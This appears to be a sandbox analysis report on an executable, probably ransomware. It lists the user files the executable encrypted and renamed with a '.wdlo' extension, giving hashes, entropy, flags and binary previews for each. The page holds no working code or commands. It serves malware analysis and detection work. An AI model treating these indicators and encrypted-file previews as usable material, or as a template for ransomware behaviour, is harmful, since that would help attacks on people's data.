Preview:	[{000...yQ;.....h.$...e;L...".z&...V.....;..>R4z0'...e..<B..W..`..x....4../D.`.r..i.H.{....D:..,..=......~..\z..,....$.8..Ht...E..k\|`....A.-.....K2.J~..#?.U`..-!..}.....zP..G.'..d6..#/..P..3..,9..I.c1h....... .3....._.%..`..p}P...8...0./..c...fI..J....8..z!.3.n.yq.._V.l .=%`.....o.U..s.....TV.It..<......H.R.s../..V.....Q.L5.....w`....7.O.g.__(...s(V.[t.....:....*...&..,..Z/&-\ Q.....`.....)).`^...?f.J.n..K.r#z...t.7}.2 ...TWH...1.8GU7..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.965916721530415
Encrypted:	false
SSDEEP:	96:spGN4I1QapLH8AT2BbXCgRtRvPpDBHqsUueCrDRr/MqgvSK1MQMhFf9F:sBaZcATOzBvNNUCPRbMVAVnfb
MD5:	48C8DF80CEBE07F31B5B039E783A87AA
SHA1:	B4BC35D1AB02D782C1D03979856E82FDE5799DC6
SHA-256:	11A695330F4D568DCCF8F616305D85C2EB1CBFCB04564BA69E219CED8EEBC4A4
SHA-512:	0120A7EAF89536E878408C66F63EBD0DF284206CB8DB6D1E5044907865AF4BD2D768FD901B5D114C44859BC226228E88C9E941FEFF80504F63573021E70A3892
Malicious:	false
Preview:	.{.XP.P ..}.Bg...q.Ah.;,.-l..I.._'.......6@.\|E.?.....V..F...8........qr.......qt.b..q..x..T...P^..8n.e.....S..3...@...7.b....W...<9B1FY..~..Z~u.7E...{..#}...z......j...o..U.>..j$.I.(.......)..../i..3.e......Q.-..8.../<..&O6oM...q}..{<......`.l.zS.M..#...Y{.)r.N&.8....j....-.x..H...I....I..'[1Q...a.9..>=.._f!:`.=#.7.\\|.O?C.?zA.OA.i.(.....^....SU..V.._.Ii...f.....%....t.p..a."w...?.l..S.\:zE.>6.V-!..L<r..Mi.=...p...+..4u..Q.:.B...}.i......E<.(.k.j.....[.Ln.....(G.KHm.q...o...u..T_.<....."..eR....6.]..I....h.B1..As....ZD.....8[..;9[7Y....eU._/...Y..y....2..X..c.xIL..\|c..m&.........i.....;..RyT..V.P....6..YG..].C:;..$z ....n.G.....d.^......go.wE..t.<.P[.e..\|<cyRZ..@...Qv....~..-...ha5J....,.,.M..0.(.W~^.L.:(...(....B.T......&-.T$.$(....<..\|\.....W..x@..O.dD.c...^v6F..03....dN...........h. Q2...;.}].x#....F.}....o....5:.v...?q..:....d..{.a .!......../on..4V.{.8m..>V^.......L.7b3s..f.N....._.Sl..~.L.5'bk.2.<..d.k.,P;....T...D~2L..n.

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.829060810103711
Encrypted:	false
SSDEEP:	24:YqJklMNh3VXD3OWB8UoyjpIbdY7bl9ihSEigsebx3zbD:xeMNh5OZtb8l9ihSTYx3nD
MD5:	D11E245FD21032ECE6839E18BB8B4F36
SHA1:	5E8AB275A3703A5561FA28F7BC43DB1F1EBF3B7E
SHA-256:	7682DBDDD47FC5FB3D032FFF31E0285E461D2A0BABCDDB1CE3A0821449125AA5
SHA-512:	45D2DBAC8B52E415A8EA1BE1A0EDC43493BBDFC9C7FA7DEE700636962C5C589AFCDD0DC4277AB0EFF190AC800F0CA2CECE14681421239491AD2B704CC6005660
Malicious:	false
Preview:	....C .".L:^.\|."..oi..!.$.Y..h.U.".....\|...F...@....x....C..............2s.......%c^.....M...`e..P.....LvN.tX.'.:.F'9._.+7..m..6.cC.=8%a%T1-nC....&.vf."KR.!.4.>7.Y.....r..T..?...#N..!K.\.j...q..DI..A.2>X...mQ>..c..\....'..._.z8......d.D,..v-.wpI!..e..../.."...Qn.............u..a$.>bx..@..WA....ADeI......c.x]W.H?.E........".....K@.l.&z...C\\...\....q..E.<.Y.......;.Cj$..1E.WQ.]E.....D.l.iSt.L..za.%p.}..H.C...P .ZE..=D._z......x..Z....'CFW..s.i...i..w)..`.r..K...ig3.....^j.[.t&{....qh.+.6.n.^. ....J,.c.P-g.../.Z.AC...O.4..\Z3.#%...J....V.V9X.........(L0...7T.......x.E.........b..0....k..t=el..(..%.:.G:.Kq.#....).g....Y..YO#>.........u.].^$c....q..0J^..&....;.v.t)'...\|.rt..........jO......L./>6.R..!4..1.....9..0{.[8.......^.../.;..&.X...6.q....SD.....(.].W3V ..O.\|@...\|.;~..............=d;....a...,...q.(-.<.GEA..(.m1..IJS...cv...c.\|...+[..LZ.2y..C.6...1...*..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\L.jones.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.83733661627492
Encrypted:	false
SSDEEP:	24:kzM/qffrUMJCnQ0fjEC2onpeTCRQW7ks4afLKZJ/tM2w0Oc/z93zbD:j/S0fjjkqJ7ks/fub/tMsZb93nD
MD5:	70A06781A83A4C3E72855C20FBF3561E
SHA1:	BFFAEF95167414C1F4325FC6139F873FB7A9EF0F
SHA-256:	DBE20DC06CADF8EDC75EBA0C4A8F439BFEEBFAC565BFF701B123A84F940CAD59
SHA-512:	432807A742146F247B0BE39CC5FA47FE6889B44A4DBA9240EA7DCA2F924F0062CFBD3A62B63DDBB8E1055EEC6ABC793436DB83C17D544AC632D8A94E648FC966
Malicious:	false
Preview:	.{...1.....-.8fr.............h.]...'.B.3o..d#4!....=g..}....L...+.).A.'.:..6UC..>.n1GbNM_....:.4 ...4...{...\\K$..q........s<.......C.Q....Y.J.,...V3..L9GwAVk.T%...-.+h...n..G..q].\|[.."....4.'i....6.k..Uw..G...,....v.NpS.,...w2p?.L......Jc6.^N.-..).5...w..^Y..7~.9.N..T......ifZ.i..I.t.,3)...^...._......,...9..=...7..~fU....,.[..._2.{F.q....cGQe_.ym....e"..&..[.3...?.6...35T,41._.y....f.9.6.P$7t.\|...`..!x....mD...........r(.....}e.e.KO.=..Q..Q.......~....D..:9G...?.......Sq.\Y....Q...v.+...Is....(Q.?..b....k.....qcK...).H.(5...AQ..."...y.&..s....].k0....C..).3b.PUO...-."..O......E.%...y.$..3....).'..%. .pr.E+.......\|.VN.....Q^....B...&..<.,.u.s.J`S+...;r...=ub....}Y..".v.F.2.[.F..../....;.5Z.Po..\|%..%g.`....g...5.n.v...HH....y.C...C.8...Y.N..o....?.K..zM.lL...}Z....'y.y@.....%......;....g..}.......:.dg.y.J.U\|#F.s./.PMQf.w......)f.b.d.!....H[1...r.B.V.f...^.?..L.+.(..MP.....%J;f...J.......8@`;q..p.Tt....!Q`T.~e.!..GEqIo.o.JD....Q.O.S.-...

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\L.jones.cdpresource.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.373353548292556
Encrypted:	false
SSDEEP:	12:sUJQzxcKzKj9cQjcelqmcZioT36Wcii9a:pJScKwc0vcD3zbD
MD5:	98773E0190BDACDF5B06787284190A51
SHA1:	8DA00FBEC15E0C5BB0888879DC8223D610FC4148
SHA-256:	3BF3C87ED5798ABF3D44AC04CEEA7F9FCF019A450D9D11E5FDB6779697E93D33
SHA-512:	9E42B4AD2EF7A4760A699ADE67211947599CAD142C1DCBDF276779086CFD952E1FFCDE79FB9903861FA2DA5A85B9F76C0D483F90C5627CF48981BC4E2E624813
Malicious:	false
Preview:	.{....#..JT-.{'. :.%D..}....tvW....R..[d..}..i......h.mY.qOp.9n..p..C..[DR.).q....4y.@..mK..0`....t0S.....x.?....Og......Ok.6!..C...A..E.$U.S..Q.....B.f.4.P........4I~GH\|.).1...g.I....!..3..._-i....G..V.>..<..}(..S.M..Q(eQ.>7<..(....]>.....Y3#.....0.\|.........#L..x..Vg._....@"L...P."K...+..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\IconCache.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	25159
Entropy (8bit):	7.993106642322606
Encrypted:	true
SSDEEP:	768:/Qy2t+phs25l1XKe87RcfoiYYwhleIvMYbnaO:hZVAGQXTfeHO
MD5:	1F9E43C73D3CF670098C43FDCF91F8B0
SHA1:	6D5B6C21C71AE7FCBAB758CD3CF1CD6D046D4886
SHA-256:	B52BACE0D24B52182BB53DA5E4FF047DB9694213656B00DB77511E16DD633DA9
SHA-512:	4DECCA8962249342800CA828C8022A8B88EDEBC078103E1A77B02D35AF33B5E6572F4237B942EA9C9488A8ABAEEFDE3B04B3A45DF82F21064794CD522952B054
Malicious:	true
Preview:	H...W...9.....-..M..p......g2.....c...glU.`3...9..4...^..^....3<..r..[8..=.D.Iq8....P.}........F..u...j4.n]....(.3%.vm....a..s...... G.6..Z..X.A..#J...<..!3..C...i_...Wa.."$hB.@....[.n........I.q2.9..lo.P.jfW.........1gD.4Y..69....H..5;.......VLi{I...,....@.\|'..QpSb.vG<_.".....u....$.].......?...4.o.J...]....?N.r.1.4....h4vfO..E.0...%y..k....a.(...!..C..f.'._y.9.S.y".-..R_....E..<0.(].....lO....}o.iF$.Q..=.`'z.Y..W.be'?.....N.V..v.%..2.......k.9....Z.....h!.............E.r..2u....-f."%..*..b"..[...../\...C_..\pF.....]mX..+M.N[t}..........U..U.(...N..8.Z.. .s$.....C....p..L..#..;Df<....oQp..q...'.......e.....bdF.....U..I{.MT..WXa.u.fY..N..g.km......b.K.G.Xe.Z....T..[....%;...K../}.h...w.;K<-..~.j.B]!..8..J.Ul...0.k...;.]V..~....X1....>.+..n...t..w@)&....6{......a....<e....q.4.... .K.N..ot..dh..+K..j.Z).H...[.ak..[.(bH.z....o..M..)W...g.6!&...E,.>M...l.q.\.......S.x\|.8H.P9.......a...."7..I-y...~.{p&....2;....\|5, U1.(..l.S{6.":.UQ.a&...TGD.c.![..

C:\Users\jones\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997350005945081
Encrypted:	true
SSDEEP:	768:V5vZz3w+GY310cw3mDoq3DdrqaflciOqox9X+mN+MWTSZhX3v7CnohvZCiY5ba3W:hBGrcIA3DAafG1rQMPD3DKohx0tWSB/P
MD5:	44EF827EF45D03F4CC97F92A801A9AA6
SHA1:	3751E760C002C719875BE9ADA28DC5475633BFB3
SHA-256:	998004491BE61E265DC1273B4306D36FD6B37794E718E9FD4257D0176C2C883F
SHA-512:	D11B48DE9D635ADC4FFB54AFDE828C02D70C9DD3905467CFE3786B1EE40B4DFE379FA4301CAD9CA438014A9F53083439FA16FB7C9232426F52E7CC4A41F7B944
Malicious:	true
Preview:	1G.f..@.d2@...1.9...:.-j.R/\|!.s.S.9s.....!x.!.......w..=...yU.'`....y..{..h...7......BB.~E..<~o...NC[<.>...~....E...,#)....m...4.].A.n.UA......@...@..6.t....N.)..!7f....qF.....1..m-..\|d....^....j.i.....<...Z1].k1"....\gY...c...?...].W..2.%.j.2j+...+.J....d..M.r.j./.A...8 Dc>1h.]V.....Z...MMg.g.`.V........B.5=.h.....$F...R=.G..H@..@....d........i.se.vQ........7...[V.2.{...C4.+.s..d..A..d>...[K.............:.........~.x.i.y.cCv.B..5......A..?R&..N=e....i...D..I'..n..r.{.......6..-.yG.m.Y.~..'Lc....lB.X.Z.e...). ........g_.I..~..8.....w......L....T.).Q[_!Z.G<.3\|.>..uu.iOo.@....j..\|...\|`.a.....f.c.l.qi..n.3........Yl..?c}.t....P.p.e....#.l.w.).4..'.MVH.b..j....v\p...B..?....c.~.F.@H.q".@p.8....d..{.o^[....j....T...oCh.@..6V...L.........6.2-...Gex....c....@......\|.....5...a...V!.t.2.~/....`.>.(.`..6..x.. .l.<...m..fUSw#.i...hA]....{)...Av..t..'t%?z....j.%...7YQ..@..q.8..e.c...pO...)..{C....o.E....Z...$0..0=...X.".........r..] ..bF.

C:\Users\jones\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991734583242642
Encrypted:	true
SSDEEP:	768:8SYf3yggF+JlyxPkgp4QOwF+J8zyu+4nxvlwBgq9n:83CggF+DyRdp4QOwc8zyu+4nx+p
MD5:	0DAE4230549799E5D9D20352A61E050A
SHA1:	DBF0ACB21AD4B91A2DCE430090B3A4AD227A5730
SHA-256:	BBEFB2C2AD40BD2F7905A3C7098BB3794356B18BFCE52699232FC02CE06FA565
SHA-512:	69C9025347CF7A86F7E1EC90DE1CE16C569AE787DF392AF6758809627D018E040C73BC47E13186298F77F845A47EEB7F808AB931D91B9C669F91BDC7BAB215DF
Malicious:	true
Preview:	SQLit#*z.c{..9\.]......Zg]_:]<z.G'...#......j..q.s.ud9b..8.n._g..d.Q....L,...v....@.....4.....).4--l5.!.za.h.u.0..@WT_.....o...4....bUF.'.=.._N#..........w...V...c.Xv...`.<j.bl.0..G...q..D...'..H.y...X...7.\..f..fs..e.V6....t.vs..t.....g.'.f..E..H...q.p.....wfbz..z.......L'..C.<.].-b#...-y...&..4....Ez.@p..<.b...V....+.@.d''...}...W. 0.=]...a.ni.O......1........Gd=V.H]l.1H.q.8........I.j:`jr.n.m...K...... f.P..rpB...%..d....j...Gxx.V0.."...\....J..5...J.....]x..to`._<...].f...v..sT.6.asR= 7.(.@to...).L.]...$Z..J(.r.....-r.3.\|.t..Xmg/..b3...e..:..j.......U..f.&t..M..A.i..../...)P.($.$...[.@...h..1....x..t..'.Z....j...-..w%..... x....;..q3.....d...\".]+.....g.0x.ZT.'<$.gR..k!..%:.y..6......K\|.B............j.d....5>.q...].xF...L..C.X..oU.%...I.z...J..(.?.>C.ywi.\iU0Y.l...I..k.{.0..Wm...LII....l...?..$R4G7q..<...(Dd.k..1..z......0Fr.zH[IX........%4.I.$L{.0<+p..L..Y.3.....#.O.^<T..+.U....@.61.[...u.-..../.zd0hO..Exo.gXC.v...:a.T.....t%

C:\Users\jones\Local Settings\Temp\AdobeARM.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	4358
Entropy (8bit):	7.947389962083618
Encrypted:	false
SSDEEP:	96:ov1WELceYbCcKm+E2YuMRX6RX7dOAy+jf03i3doMwsOtCFRA:ecrbCcaE2K6M+4i3mdsO8FO
MD5:	5DAE9DB9BE2BEFB2F2C90E3343A48B28
SHA1:	C3BAC614C4B37D4D02D970D15FFEE5D002A94E5E
SHA-256:	C829F815D9081B61229B5BFC641C775A9BAE8FF0BA0500635EE695C70AFC9796
SHA-512:	4B455927033AB23882BE6B8BB33E7694E82AF492DC718EF20725FB99107F03F483A416E8C07189E7F1C2752B6877158994165439FACB7A12FE24669D2C0F014E
Malicious:	false
Preview:	[2023r.EM..A.im2)..bm.a....]M.i.9....jnp..I.U.Vz^...._...U.q.&M...!...C+.y.\-@...`.Af...R.b..[6f.....%a...vr....S..I....5..J.0A...a._..E4..(...h...&I......x...._.B...W..;......3.,.x.>.W....,=-@T53UieTs...M....~......-...eM*H.f..'8..e.?.i......6E...0.o..%...$h:.B...v.S.6_.._H.3KiQ..3H,?...M....C....N.......P...\....o....O....te..........0....o...J%..-..U..+.s....`=59.T...T......4O....KQ.8RS.M.msd]...h>hV....;....x..<p..W.g...#L.,Ms.2.......y.Cq.l...~.......4.....YL..2.n...l.k.0.>wO~J..3\..e_.3....."..N.....ASs).8D.,;.mj\|.{%.!..7..%..1.Y..n........(......W....{......C...x.......qV..a41.Tr....Q..1[>s.F.s.].Y.D!K......8..$..(S...V.....I.PT.i.8.\|:.0..-H..h..Hj. .3.D...S....ie....b.u.e[.(..i1'.w ...ck...rK...0..;.....(......<.R.1<.[.>.-.=.vsr.J.c..o.......]..C.^.......^}......N..6.5.lu...OM1B.K .]S.N..}...X.a...O8m.^c..%"..,..._K]..R.HNaV.[.......k(..qi...nf4:.N..."...w..A.h.-.l3.[.#;[.v1.......Hw.......T".b.....!4....w%S...l..C.....v6..

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	42850
Entropy (8bit):	7.995220419640907
Encrypted:	true
SSDEEP:	768:THgfhyKv5HrH0zp3lB7JI0R8so5VB2hWd6GF1BmgCkuUKY7fYHH:THgfhTv5LH0zp/7mq8soLBi7GFqgw/Jn
MD5:	58FCE0E3A9DB7D477DE57CE490D1AD5E
SHA1:	DEB6A6BEAB4979600864B2E6E7E7B9FBDBE6E0BE
SHA-256:	A24CAD193B662814A4E9937DE9BDB8F9FA219E50440A34C0F67450E7CF405209
SHA-512:	3F427E7BEE0D9F93481CBAA07CC4D410403058B724FA803539DE76AA9EA12D4548CA66094A06374F242C080950DABCEDEFD20FA02AF10734FFFD4CFB756D8FAB
Malicious:	true
Preview:	..T.i..........f.^....H.-...1>.W...X...i^=.&Rc.....R>.A..\..^m...nj.)!U.9.B.D.v.n.:....}.v....f2N?<@t.h=i.dN...i..,.WQ.5+a..R..#..+....o.b.....@.YF..#...e.7.}.~.4.,_..#.z.1.e0'.@.....gVZ.&.>..x...0..`^........B...t..Q4...`...A...PR..l...v..l....'.L.>.Z..\|..H..J..;.3.d.'...?f.c.J>..^.2...Mm....CkIo........V;...'......Y..I..[lol.3WG63K.R..H...?.2..u....m...).T..=..f..[....u..?.>..k...G3..}x..T=.a..=.W....c..a....R.....XH`..l..Z._.8<{l..bX[.KS.sU.$1.]...t..b.&j\M..'.0...=8:..h...S.q.`... ......O;._.......q..E.w...^.^.jE7q^.f..q.)..x(..c..03..$MN_m.."-....M...P>H}^<..xH#....:8i.....bD\|>..S.N......Y......4w..0!.%....V.Q.L..s-.......\|%.![6..a.L)d...0.:.%.r.<.?bxg......[..hP....9.....k..F\S.4...9..q.^w....C..Y7..k!3.....\|.K#i...P...;..#.H..y..GPM.7.CiA.N.......Wx......$...a.G..1k[........e....u..MRR..k.g.........i...'....?"..^E.E.z...u:p_L.N...+....f.v..}H.[J......@....`.......s..8oU..w.~..`.c.O.z]..e.A.........2.Lx.n..i`....D. 1.....'....v.

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	462288
Entropy (8bit):	5.8506474483978845
Encrypted:	false
SSDEEP:	3072:W0NyAc9KsonXjnM4qbCEvznss0LU+oHdM9ZE25j4f+ZEFGcrkujtNKkxY9y:W0cMs2XCSY+oqD3KmKFGcrV
MD5:	5C111D87D7D561793416EC885AF6F07D
SHA1:	EFD6D2B59A973EEF42153B6553B42A9387B1300A
SHA-256:	EBAF4B7451FD7D092F7E3F9F2EB39B919599EB3F163EC66AC9D4E1BFC5094257
SHA-512:	B59BE7255EF57061534F61EBAD66D9E242E01D382E5194A5BB056A0604A32C6A9BB8EE4BA7A67A7DC512A9814577094116A58B218C2108764319E1B164B16451
Malicious:	false
Preview:	..T.i{iF}.0.h j.=5.%/.T..{<a.ty.........~....2e2.[_..k..I..?...R.W.m.jg._i....?h.Y9h.a}L,..g..%..._....i.....h7..h.....\.`r..1.hD.I...i.!c.o".F...._...'.Q....c...Pxe.Zz>.Y#aN.nJ..p.[b.[...P.Vif.v.._........E..dc.]....t..8..4.Je0..8...1'...;...Zc$...k.....E.K.....G.eS..t.....ae.._...c.....zl..E....b..M"...:o.....Z.5u.[i....f.d.......B...c...k.....7..%...!.=f........h..f......{u....aNr`.XwU.M..X.....1..Y....J.j..k......(4.+L..O.ZR..'.......?v...._..........;x..`..<Y7.....t.eq..N....b.lX..,......r.r6H.Z....I....6tA.jK.~...f...M..ydqT....;.......y........1(....z...<..A....p\x.."...".&.\|.....@....m].4$G..,....q.&.C.....hC\|p..b3J.&....;rI...{.........e..E4P....n.v...g...V2....#.......F....&.M-....ylx....Ww......Y`.y.UU.E.....I......Dr.....<...p[.....-..O...zy>s..{7P.....Us.0L!.@.(.+....j.}b.....>.K6:.H....U.D...3n6.<Q/<.ww^`.....Z.^...hD\|..A".....h.j...>...0.<.. ..y....J]..O.liIM....w..{..i=....vZ....Z....d......G.y....^.s=....<A...*:...

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	289976
Entropy (8bit):	6.697182255851007
Encrypted:	false
SSDEEP:	6144:4BZ+gu724VggXSZ6t97EVVJz3bu676u6QzIcGnivkuX0b39/22ZOKyymLe9qDOeJ:4BZoKTEgIJEJ3bLzIcGnivkuX0b39/2d
MD5:	D53A1D42EF1B6E72B69C0DDCE518C220
SHA1:	7AE622D58E60A733F13129B057D09C3E84CD5FA8
SHA-256:	07408D8CDC54A4DD01547C5C229C8AF56A0F4F645CFE9250D4B5BC0FA0239FAB
SHA-512:	64007DD3CC7A5360B7F6BB599E8BA6E58CC24161BDCAECF13FD56A253C6D12FB588CF15C933275B87B8192A2FAAE96BA6487B82D1DF17980A0BA9DF68911EF07
Malicious:	false
Preview:	..T.i+...m-?...#..k...Q..v....7e$reQhS7.wo..C..5.....gCJFNj....J..p...<'}..#...X)..x.uj.<(a.^ ..MQ./..x......o.V........+5.5\.}.5....B.\..O).98e.-..t..F.yGZHf..:l...).._~}....2......a+u.jW..A...~:..S=..b....)"..'xL.t.>.....&..2.B.....I..F.U..,.s.....sB.@.&M..@...$K.i....a.Ed..K.f...E........5q.c/}...`...=.}.%.C.\|..'L&j...b.{[.J...d...8%....)....Xo...t).....l..?.v=........[.c..,....s".0N.^?..:IQ..!.q\|...j...3>{...g.R7.;.M..f?F..y...Wf..o.@..&g).3.S4.E...a.$h.zJ#rx.(.%...A.\E.E_^_Hl.g.[....K....\|.C.,...".....a......V.......I.........:"..NX.l.x..V.ih$.....).L.....i.G! <z}."Mw>..cF.(.f........S.......2V.U*....-.7M...+...T`.H.......SOL`.h...a..Fd..B.M'[c..z...V....{.......X.pt...D...Q./.\|.."}.M.....c:......./..D.9Lk...2.....w.$2.M..4...V.t.b.7....E.]..n.I...i.......ne..%..EI.K.5.~.........=+h)..'w..r..WzI..E..(..q0C}..8...:];I.....~.)..,2..$.z...m.....M..!_.\.I.F..'......a...AcJ.<.y.y...7F0..@......M.yn..IDb...i.y9`;.1.\|1.k]E.....

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	98568
Entropy (8bit):	7.998121601039117
Encrypted:	true
SSDEEP:	1536:Cu05ZlODVwW/kVyvdUDIdveKDcNGwUtevSodIbmEzJgUuljBua7g24Ld1ux3qsxl:C1DlW/wkdUWv9g1oeEJijBP7mLd5bXU
MD5:	DF11D92E7BDBC96B4E696E9AA6E7EF0C
SHA1:	D5FBFD65E10262F8662F62367CF5AD35208A338E
SHA-256:	374BEC23EEA8055CDF6B0B15920206F7D05A3339551C9C81FC39154EE5FE4C9A
SHA-512:	F575ECCB883DD1A641F8E70CCA047D48BF442AA3E7C8A093BA7D9460869363C6DB71A7010E3B0D38D4593E619BFECC4A6E9086C7575BD8891F2DD29018FCA272
Malicious:	true
Preview:	..T.iT)....F.H_u..?LN~.L.V..h.x...8.../....f{..o.I.......5.!..-..,.e..Ra..D`.J../..Q.je.+... XET.:/.\|B.ex.....;PP./.&ZG...0^M..G...E....y.v~... \|.[z.B..z.Y..n..(l...E.......:..l.\|.]@.....3V@.....H...Nv.w:M....6.........e...:.....\.O......\|t.R.Y......[T...?.K.s.ie./.bV.^.X.}..,w.....\......g..m...J.z.......+ ..T.(8g>....K..%L.....)?......(.B.j.(x.'.7..#!.PW..ZX...+....tT..x....n......du.. m......!....tRk....L.k...Gsw(c...O.....8..^..F....E.%\........B.2.e)9.<...z.8.....^..#b..*.....j>.o.2...X..q...?..g.h.6.:u..YM...u..Z........M......CI...Te.....P.}.s.&.`..g..}N.W&..W%/...pS.....H.1t..f}..1..Z).....1g.J{4s1....R.w.x,4....!CU.k..R...t.z...D3^...1...8O_....T.....1...,.i..$]..,...;C......<....}].e.m...Ow........cL:.C%.@~..[Z.M.XZ..=.%.v.0....D.>.&6.2.4..GvY..,._3P....K..2v...w.RZ.M....[p.O].~6Pd.^..kS.2....sr...^e.D.;.."...+.[wu...p'.1.>....[..EQR.=..f..{.....y2....T.....z..M.h.r.a.2>.j1D#,T....g...2...g5Gd]<!..&ln~....;..tQh`..

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1305.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	395914
Entropy (8bit):	6.09618555739411
Encrypted:	false
SSDEEP:	6144:u+J3isLqYdhs2JJ49vm2L+OxhxIS86dRS9z3PQ3B:lisLqYd/Atm2aOTxpO3Y3B
MD5:	DBF5CDD490E8EA18BC93A134BA207849
SHA1:	A2B0C3BEC74AE43A5EDCFC908D74D416E489FBD5
SHA-256:	52F32735E2770FF34A1FA757C548225AA56EDDCE2C0E12EE8C6687570DD51CEE
SHA-512:	C2F210575E2F3ACC87E140A573977BFA93A2E07D71F1DDB059D5050C56A08E496A75BF308556DED1E48A58FB1FF0AA03570D57FD7DC9FC5636F836C5FCE9561F
Malicious:	false
Preview:	..T.i..]...F.49./W.N..W.T..&...&-.F0.U.?.;.,........f..Y.W+.&.)>..W.......o.W..BK...Q:b/x.....R..c.Z.....h..6..<I...L.._m...n..x./".....d.`)JK.M..3_..$[...9..g.%C.H.="L..^.Z.US..............t}3.f...pyx.~,.4;../M8..-k%.S..C2P..;..;,$.....(.....^Gmb`.Z8."pj.gH.;....B.4lQ...w... ...C.w.....~....(.,..Dj....u.....RhH...E..W..&.%.]...:t%..4.....6s9.g w.]. ...'Q...4..[..^^@/X.8.B.......M.....o.fM0..X..8.....7..v.......c,..A..r?....(.fj..tA.#y/.6fZM...cy...._......~P\|...jp'...s.._....'.M...\...... ...$.=."..'GdQoa).v{#a..G5_q.qO....;.d....~W...o....9.f.EU..W.MF..l...U...G....$..Wgo.../.k......q......,I..Xd..-c.'....;.h.....Y.j.2....E.r....a.D.L...?...k.k.@.t..q".w...f.F,[..[mh..&.#?......wZ.~ra....z.....0.z......>.@...[.0.E.d.xB?\|...T.7...1..$&...{bS.......MK.Q....u.n.n.u.Y....+5.......3F..W.S.k...._.MF~..".H8.J.....k^...^9..-k..X...]e...W....q............Wi...p.[..va.S#y.[/].?H...:.S..8.4..t^.0..jkY....(....$.$./..t....X=kwx.B.....52(.=D?...*......[

C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.9987335616705195
Encrypted:	true
SSDEEP:	3072:o2Ej7ojPSVX9vQIg4JPU4izNXP4y0Y0khmOfEoXH0xsJGb6vM3H:VN9CJPU4GXP9FmjOHjob6I
MD5:	342E330F217C8683E4082B7720445740
SHA1:	D05AD8BB0CF5D0DD98F857528DB2C85008A094C4
SHA-256:	55CF42152D6391466DDF982ABC4D345D32FE2B17CCD89B27557749E901C26AB1
SHA-512:	CA37846EC56EBD90B98C27F6FD2A0F39C2B07B59A75C1CA57677988D728CB9EC61FDE2BFA9FD889191BA0B1939D2E3EB8F28221C3F013038D709B0C81837B741
Malicious:	true
